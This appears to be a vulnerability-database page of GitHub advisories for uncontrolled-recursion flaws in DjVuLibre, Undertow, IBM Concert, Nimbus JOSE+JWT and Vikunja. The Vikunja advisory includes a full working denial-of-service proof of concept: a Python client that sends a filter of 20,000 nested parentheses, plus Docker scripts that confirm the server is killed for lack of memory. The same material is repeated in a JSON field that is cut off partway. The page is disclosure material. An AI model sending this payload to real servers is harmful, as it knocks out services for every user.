CWE-674
Allowed-with-ReviewUncontrolled Recursion
Abstraction: Class · Status: Draft
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
906 vulnerabilities reference this CWE, most recent first.
GHSA-XP8V-W5Q3-JGF9
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-04-04 01:41In DjVuLibre 3.5.27, the sorting functionality (aka GArrayTemplate::sort) allows attackers to cause a denial-of-service (application crash due to an Uncontrolled Recursion) by crafting a PBM image file that is mishandled in libdjvu/GContainer.h.
{
"affected": [],
"aliases": [
"CVE-2019-15144"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-18T19:15:00Z",
"severity": "MODERATE"
},
"details": "In DjVuLibre 3.5.27, the sorting functionality (aka GArrayTemplate\u003cTYPE\u003e::sort) allows attackers to cause a denial-of-service (application crash due to an Uncontrolled Recursion) by crafting a PBM image file that is mishandled in libdjvu/GContainer.h.",
"id": "GHSA-xp8v-w5q3-jgf9",
"modified": "2024-04-04T01:41:52Z",
"published": "2022-05-24T16:53:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15144"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-5032"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4198-1"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/djvu/djvulibre-git/ci/e15d51510048927f172f1bf1f27ede65907d940d"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/djvu/bugs/299"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202007-36"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RYZTGKWY3NAKMIMTFYGN4ZO5XEQWPYRL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QUEME45HVGTMDOYODAZYQOGWSZ2CEFWZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M7F7544WASYMOTFDR2WUEOQLN3ZEXNU4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JO65AWU7LEWNF6DDCZPRFTR2ZPP5XK6L"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FPMG3VY33XGMIKE6QDYIUVS6A7GNTHTK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RYZTGKWY3NAKMIMTFYGN4ZO5XEQWPYRL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QUEME45HVGTMDOYODAZYQOGWSZ2CEFWZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M7F7544WASYMOTFDR2WUEOQLN3ZEXNU4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JO65AWU7LEWNF6DDCZPRFTR2ZPP5XK6L"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FPMG3VY33XGMIKE6QDYIUVS6A7GNTHTK"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/05/msg00022.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/08/msg00036.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00086.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00087.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPP6-8R3J-WW43
Vulnerability from github – Published: 2024-07-08 21:31 – Updated: 2024-09-30 19:46A vulnerability was found in Undertow, where the chunked response hangs after the body was flushed. The response headers and body were sent but the client would continue waiting as Undertow does not send the expected 0\r\n termination of the chunked response. This results in uncontrolled resource consumption, leaving the server side to a denial of service attack. This happens only with Java 17 TLSv1.3 scenarios.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0.Alpha1"
},
{
"fixed": "2.3.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.34.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5971"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-09T21:04:44Z",
"nvd_published_at": "2024-07-08T21:15:12Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in Undertow, where the chunked response hangs after the body was flushed. The response headers and body were sent but the client would continue waiting as Undertow does not send the expected `0\\r\\n` termination of the chunked response. This results in uncontrolled resource consumption, leaving the server side to a denial of service attack. This happens only with Java 17 TLSv1.3 scenarios.",
"id": "GHSA-xpp6-8r3j-ww43",
"modified": "2024-09-30T19:46:25Z",
"published": "2024-07-08T21:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5971"
},
{
"type": "WEB",
"url": "https://github.com/undertow-io/undertow/pull/1638"
},
{
"type": "WEB",
"url": "https://github.com/undertow-io/undertow/pull/1640"
},
{
"type": "WEB",
"url": "https://github.com/undertow-io/undertow/pull/1641"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4392"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4884"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:5143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:5144"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:5145"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:5147"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:6508"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:6883"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-5971"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2292211"
},
{
"type": "PACKAGE",
"url": "https://github.com/undertow-io/undertow"
},
{
"type": "WEB",
"url": "https://issues.redhat.com/browse/UNDERTOW-2413"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Undertow Denial of Service vulnerability"
}
GHSA-XV9F-3JVG-GC4H
Vulnerability from github – Published: 2025-11-21 00:30 – Updated: 2025-11-21 00:30IBM Concert 1.0.0 through 2.0.0 could allow a local user with specific permission to obtain sensitive information from files due to uncontrolled recursive directory copying.
{
"affected": [],
"aliases": [
"CVE-2025-36158"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-20T22:15:57Z",
"severity": "MODERATE"
},
"details": "IBM Concert 1.0.0 through 2.0.0 could allow a local user with specific permission to obtain sensitive information from files due to uncontrolled recursive directory copying.",
"id": "GHSA-xv9f-3jvg-gc4h",
"modified": "2025-11-21T00:30:22Z",
"published": "2025-11-21T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36158"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7252019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWMG-2G98-W7V9
Vulnerability from github – Published: 2025-07-11 03:30 – Updated: 2025-09-19 21:31Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.nimbusds:nimbus-jose-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "9.38-rc1"
},
{
"fixed": "10.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.nimbusds:nimbus-jose-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.37.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53864"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-11T16:43:40Z",
"nvd_published_at": "2025-07-11T03:16:03Z",
"severity": "MODERATE"
},
"details": "Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.",
"id": "GHSA-xwmg-2g98-w7v9",
"modified": "2025-09-19T21:31:45Z",
"published": "2025-07-11T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/commit/1039427ff0100293dd3cf967a53a55282c0fef6b"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/commits/f7fb882cc08f027c9ceb874acec3b51c6222861c"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/583/stackoverflowerror-due-to-deeply-nested"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/593/back-port-cve-2025-53864-fix-to-9x-branch"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/compare/gson-parent-2.11.0...gson-parent-2.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON"
}
GHSA-XXC3-XPMC-VMVR
Vulnerability from github – Published: 2026-10-09 20:53 – Updated: 2026-10-09 20:53Unbounded nested task-filter recursion permits API process termination
Summary
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
Impact and affected scope
- Type: Resource Exhaustion Recursive Parser
- Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
- Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
- Verified revision:
349cd5adbcc831ef08b08e6c9c6d627603c39606on 28 August 2026 - Affected release range:
= 2.5.0; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
pkg/models/task_collection_filter.go:240pkg/models/task_collection_filter.go:268pkg/models/task_collection_filter.go:274pkg/models/task_collection_filter.go:276pkg/models/task_collection_filter.go:295
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
Create reproduction/client.py:
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
Create reproduction/prepare.sh:
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"
Create reproduction/frontend-placeholder.html:
<!doctype html><title>PoC backend reproduction placeholder</title>
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.
Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.
Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.
Observed evidence:
- depth=1000 target_bytes=6044: HTTP 200
- depth=20000 target_bytes=120044: RemoteDisconnected
- target container: OOMKilled=true, ExitCode=137
- PoC_FILTER_RECURSION=PASS
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
- Liyi Zhou (@lzhou1110)
- Strick Sheng (@Str1ckl4nd)
- Maurice Ng (@mauriceng98)
- Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.5.0"
]
}
],
"aliases": [
"CVE-2026-91968"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:53:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Unbounded nested task-filter recursion permits API process termination\n\n## Summary\n\nAuthenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Recursive Parser\n- **Affected component:** GET /api/v2/projects/{project}/tasks?filter=\u003cnested expression\u003e; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString\n- **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.\n- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026\n- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested\n\nA single low-privileged network request can terminate the API process and deny service to all users.\n\n## Technical details\n\nThe server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.\n\nAttack path: Authenticate, request an accessible project\u0027s task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.\n\nRelevant code:\n\n- `pkg/models/task_collection_filter.go:240`\n- `pkg/models/task_collection_filter.go:268`\n- `pkg/models/task_collection_filter.go:274`\n- `pkg/models/task_collection_filter.go:276`\n- `pkg/models/task_collection_filter.go:295`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27.0-alpine\n\nRUN apk add --no-cache bash build-base ca-certificates python3 tzdata\n\nWORKDIR /app\nCOPY . /app\nRUN chmod +x /app/*.sh 2\u003e/dev/null || true\n\n# Target source is supplied only at runtime through /target-repo:ro.\n# This image contains build dependencies and reproduction helpers, not a clone.\n\n```\n\nCreate `reproduction/client.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nBASE = \"http://target:3456\"\n\n\ndef request(method, path, body=None, token=None, expected=None, timeout=30):\n raw = None if body is None else json.dumps(body).encode()\n headers = {\"Accept\": \"application/json\"}\n if body is not None:\n headers[\"Content-Type\"] = \"application/json\"\n if token:\n headers[\"Authorization\"] = \"Bearer \" + token\n req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)\n try:\n with urllib.request.urlopen(req, timeout=timeout) as response:\n status, data = response.status, response.read()\n except urllib.error.HTTPError as exc:\n status, data = exc.code, exc.read()\n print(f\"{method} {path[:160]} -\u003e {status} {data[:200].decode(errors=\u0027replace\u0027)}\", flush=True)\n if expected is not None and status != expected:\n raise RuntimeError(f\"{method}: got {status}, expected {expected}\")\n return status, json.loads(data.decode()) if data else {}\n\n\ndef wait_ready():\n for _ in range(240):\n try:\n if request(\"GET\", \"/api/v1/info\")[0] == 200:\n return\n except Exception:\n pass\n time.sleep(0.25)\n raise RuntimeError(\"target did not become ready\")\n\n\ndef filter_path(project_id, depth):\n expression = \"(\" * depth + \"id = 1\" + \")\" * depth\n path = f\"/api/v2/projects/{project_id}/tasks?filter=\" + urllib.parse.quote(expression, safe=\"\")\n print(f\"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}\", flush=True)\n return path\n\n\ndef main():\n wait_ready()\n username, password = \"PoC-filter-user\", \"PoC-password-123!\"\n request(\"POST\", \"/api/v2/register\", {\n \"username\": username,\n \"email\": username + \"@example.invalid\",\n \"password\": password,\n }, expected=201)\n _, login = request(\"POST\", \"/api/v2/login\", {\"username\": username, \"password\": password}, expected=200)\n token = login[\"token\"]\n _, project = request(\"PUT\", \"/api/v1/projects\", {\"title\": \"PoC filter project\"}, token, 201)\n\n started = time.monotonic()\n request(\"GET\", filter_path(project[\"id\"], 1000), token=token, expected=200)\n print(f\"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s\", flush=True)\n\n try:\n status, _ = request(\"GET\", filter_path(project[\"id\"], 20000), token=token, timeout=90)\n raise RuntimeError(f\"attack unexpectedly returned HTTP {status}\")\n except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:\n print(f\"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}\", flush=True)\n print(\"PoC_FILTER_ATTACK_SENT depth=20000\", flush=True)\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except Exception as exc:\n print(f\"PoC_FILTER_CLIENT=FAIL {exc}\", file=sys.stderr, flush=True)\n raise\n\n```\n\nCreate `reproduction/prepare.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nmkdir -p /work/repo\ncp -a /target-repo/. /work/repo/\nmkdir -p /work/repo/frontend/dist\ncp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html\n\ncd /work/repo\nCGO_ENABLED=1 go build \\\n -tags osusergo \\\n -ldflags \u0027-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction\u0027 \\\n -o /output/vikunja .\nchmod 0755 /output/vikunja\n\nif [[ -f /app/probe.go ]]; then\n go build -o /output/probe /app/probe.go\n chmod 0755 /output/probe\nfi\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" \u0026\u0026 pwd)\"\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"349cd5adbcc831ef08b08e6c9c6d627603c39606\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-reproduction.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nBUILD_DIR=\"${WORKDIR}/build\"\nDATA_DIR=\"${WORKDIR}/data\"\nNETWORK=\"${IMAGE_TAG}-net-$$\"\nTARGET_CONTAINER=\"${IMAGE_TAG}-target-$$\"\n\ncleanup() {\n docker rm -f \"${TARGET_CONTAINER}\" \u003e/dev/null 2\u003e\u00261 || true\n docker network rm \"${NETWORK}\" \u003e/dev/null 2\u003e\u00261 || true\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"${BUILD_DIR}\" \"${DATA_DIR}/files\"\nchmod 0777 \"${BUILD_DIR}\" \"${DATA_DIR}\" \"${DATA_DIR}/files\"\necho \"[PoC] cloning and pinning target ${TARGET_REF}\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\necho \"[PoC] building helper image ${IMAGE_TAG}\"\ndocker build -t \"${IMAGE_TAG}\" \"${SCRIPT_DIR}\"\ndocker run --rm -v \"${TARGET_REPO_DIR}:/target-repo:ro\" -v \"${BUILD_DIR}:/output\" \"${IMAGE_TAG}\" /app/prepare.sh\ndocker network create \"${NETWORK}\" \u003e/dev/null\ndocker run --detach --name \"${TARGET_CONTAINER}\" \\\n --network \"${NETWORK}\" --network-alias target \\\n --memory 512m --memory-swap 512m --pids-limit 256 \\\n -v \"${BUILD_DIR}/vikunja:/app/vikunja:ro\" --tmpfs /data:rw,exec,mode=1777 \\\n -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \\\n -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \\\n -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \\\n -e 